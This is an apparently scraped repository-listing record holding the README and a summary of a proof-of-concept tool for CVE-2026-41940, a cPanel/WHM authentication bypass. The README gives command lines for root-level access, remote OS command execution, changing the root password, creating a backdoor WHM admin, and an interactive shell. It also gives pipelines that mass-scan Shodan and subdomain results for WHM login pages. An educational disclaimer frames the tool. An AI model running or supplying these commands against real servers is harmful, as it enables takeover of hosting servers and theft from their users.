[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-95098":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":16,"subscribersCount":16,"size":16,"stars1d":16,"stars7d":17,"stars30d":17,"stars90d":16,"forks30d":16,"starsTrendScore":17,"compositeScore":18,"rankGlobal":10,"rankLanguage":10,"license":10,"archived":19,"fork":19,"defaultBranch":20,"hasWiki":19,"hasPages":19,"topics":21,"createdAt":10,"pushedAt":10,"updatedAt":27,"readmeContent":28,"aiSummary":29,"trendingCount":16,"starSnapshotCount":16,"syncStatus":15,"lastSyncTime":30,"discoverSource":31},95098,"cve-2026-41940-PoC","lanicer\u002Fcve-2026-41940-PoC","lanicer","A cPanel and WHM authentication bypassing tool","",null,"Python",527,96,17,2,0,340,76.96,false,"main",[22,23,24,25,26],"cpanel","cve","cve-2026-41940","cve-scanning","vulnerability-research","2026-08-24 04:01:23","# CVE-2026-41940\r\n> **⚠ This tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.**\r\n\r\n## Description\r\nA tool for exploiting CVE-2026-41940, a critical authentication bypass in cPanel & WHM (CVSS 10.0), allowing unauthenticated attackers to gain root-level WHM access by injecting CRLF sequences into server-side session files via the Authorization header — no credentials required.\r\n\r\n## How it works\r\nCVE-2026-41940, in general terms, is exploited through a breakdown in how the system handles authentication sessions in cPanel\u002FWHM. The attack typically begins with a normal request to the login interface, where the application prematurely initializes a session before fully validating user credentials. Because of improper handling of session-related input, certain crafted or unexpected input structures can alter how session data is stored or interpreted by the server.\r\n\r\n## Affected versions\r\n\r\n| Version | Vulnerable | Patched |\r\n|--------|-----------|---------|\r\n| 110.x | ≤ 11.110.0.96 | **11.110.0.97** |\r\n| 118.x | ≤ 11.118.0.62 | **11.118.0.63** |\r\n| 126.x | ≤ 11.126.0.53 | **11.126.0.54** |\r\n| 132.x | ≤ 11.132.0.28 | **11.132.0.29** |\r\n| 134.x | ≤ 11.134.0.19 | **11.134.0.20** |\r\n| 136.x | ≤ 11.136.0.4  | **11.136.0.5**  |\r\n\r\n---\r\n\r\n## Installation(Windows\u002FMac OS)🔄\r\n\r\n```bash\r\ngit clone https:\u002F\u002Fgithub.com\u002Flanicer\u002FCVE-2026-41940-PoC\r\ncd CVE-2026-41940-PoC\r\n# Windows \r\npython cve.py\r\n# MacOS\u002FLinux\r\npython3 cve.py\r\n```\r\n\r\n# How to use\r\nThe tool expects a target domain to be specified.\r\n\r\nSingle target mode:\r\n```bash\r\npython cve.py -u https:\u002F\u002Ftarget1.com:2083\r\n```\r\nYou can also scan from the `target.txt` file(create it):\r\n```bash\r\npython cve.py -l target.txt -t 50 -o result.json\r\n```\r\n## Basic scan:\r\n\r\nAvailable commands:\r\n```bash\r\npython cve.py -u https:\u002F\u002Fvictim1.com:2083 # single target scan\r\npython cve.py info -u https:\u002F\u002Fvictim1.com:2083 # Retrieves system information (version, load, disk usage).\r\npython cve.py host -u https:\u002F\u002Fvictim1.com:2083 # Retrieves the hostname of the target server.\r\n```\r\n\r\n# Post-Expoit actions\r\n\r\n```bash\r\n# List all accounts on the server\r\npython cve.py list -u https:\u002F\u002Ftarget.com:2087\r\n\r\n# OS command\r\npython cve.py cmd -u https:\u002F\u002Ftarget.com:2087 --cmd \"id;whoami;uname -a\"\r\npython cve.py cmd -u https:\u002F\u002Ftarget.com:2087 --cmd \"ls \u002Fhome\"\r\n\r\n# Get server info (hostname, disk, MySQL host)\r\npython cve.py info -u https:\u002F\u002Ftarget.com:2087\r\n\r\n# Change root password\r\npython cve.py passwd -u https:\u002F\u002Ftarget.com:2087 --passwd 'NewPassword1423!!@'\r\n\r\n# Interactive WHM shell\r\npython cve.py shell -u https:\u002F\u002Ftarget.com:2087\r\n```\r\n# Pipelines\r\n```bash\r\n# subfinder → httpx → cPanelSniper\r\nsubfinder -d victim.com -silent | \\\r\n  httpx -silent -ports 2085,2086 -threads 50 | \\\r\n  python cve.py scan -t 40 -o results.json\r\n\r\n# From scope list\r\ncat scope.txt | \\\r\n  httpx -silent -ports 2085,2086 -threads 100 | \\\r\n  python cve.py scan -t 30 -o results.json\r\n\r\n# Shodan results\r\nshodan search --fields ip_str,port 'title:\"WHM Login\"' | \\\r\n  awk '{print \"https:\u002F\u002F\"$1\":\"$2}' | \\\r\n  python cve.py -t 30 -o shodan_results.json\r\n\r\n# Multiple sources combined\r\n{ subfinder -d victim.com -silent; cat extra.txt; } | \\\r\n  httpx -silent -ports 2087 | \\\r\n  python cve.py -t 20 --action list\r\n```\r\n\r\n# WHM Shell mode\r\nAfter a succesful executuion, you can open an interactive WHM shell:\r\n```bash\r\npython cve.py shell -u\r\n```\r\n\r\n### All shell Commands\r\n\r\n| Command | Description |\r\n|---------|-------------|\r\n| `id` | Show User ID |\r\n| `hostname` | Get server hostname |\r\n| `accounts` | List all user accounts |\r\n| `info` | Load, disk, MySQL host, version |\r\n| `cat \u003Cpath>` | Read file content |\r\n| `exec \u003Ccmd>` | Execute OS command |\r\n| `newadmin \u003Cuser> \u003Cpass>` | Create backdoor WHM admin |\r\n| `passwd \u003Cpass>` | Change root password |\r\n| `l [path]` | List directory |\r\n| `help` | Show all commands |\r\n| `exit` | Exit shell mode |\r\n\r\n---\r\n\r\n# CLI Reference\r\n\r\n```\r\nusage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]\r\n                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]\r\n                       [--action ACTION] [--passwd PASS] [--cmd CMD]\r\n                       [--new-user USER] [--new-domain DOMAIN]\r\n                       [-o OUTPUT] \r\n\r\nTarget:\r\n  -u, --url URL          Single target URL (e.g. https:\u002F\u002Fhost:2087)\r\n  -l, --list LIST        File with URLs (one per line)\r\n  --hostname HOSTNAME    Override canonical Host header (auto-discovered)\r\n\r\nScan:\r\n  -t, --threads N        Concurrent threads (default: 10)\r\n  --timeout N            Request timeout seconds (default: 15)\r\n  --rate-limit N         Delay between targets (default: 0)\r\n  --force                Skip cPanel detection check\r\n\r\nPost-Exploit:\r\n  --action ACTION        Action: list | passwd | cmd | exec | info |\r\n                                 version | shell | adduser\r\n  --passwd PASS          New root password (--action passwd)\r\n  --cmd CMD              OS command (--action cmd\u002Fexec)\r\n  --new-user USER        New cPanel username (--action adduser)\r\n  --new-domain DOMAIN    New cPanel domain (--action adduser)\r\n\r\nOutput:\r\n  -o, --output FILE      Save results to JSON file\r\n  --no-color             Disable ANSI colors\r\n```\r\n\r\n# Disclaimer \r\n\r\n**⚠ This tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.**\r\n","这是一个针对cPanel与WHM平台CVE-2026-41940漏洞的验证性利用工具，可绕过身份认证直接获取WHM管理员（root级）访问权限。核心功能包括目标单点检测、批量扫描、系统信息探测、账户枚举、远程命令执行及交互式WHM shell，基于CRLF注入篡改服务端会话文件实现，无需凭据。适用于安全研究人员在授权范围内开展漏洞验证、红队评估或合规性渗透测试，严禁未授权使用。","2026-08-21 02:30:08","CREATED_QUERY"]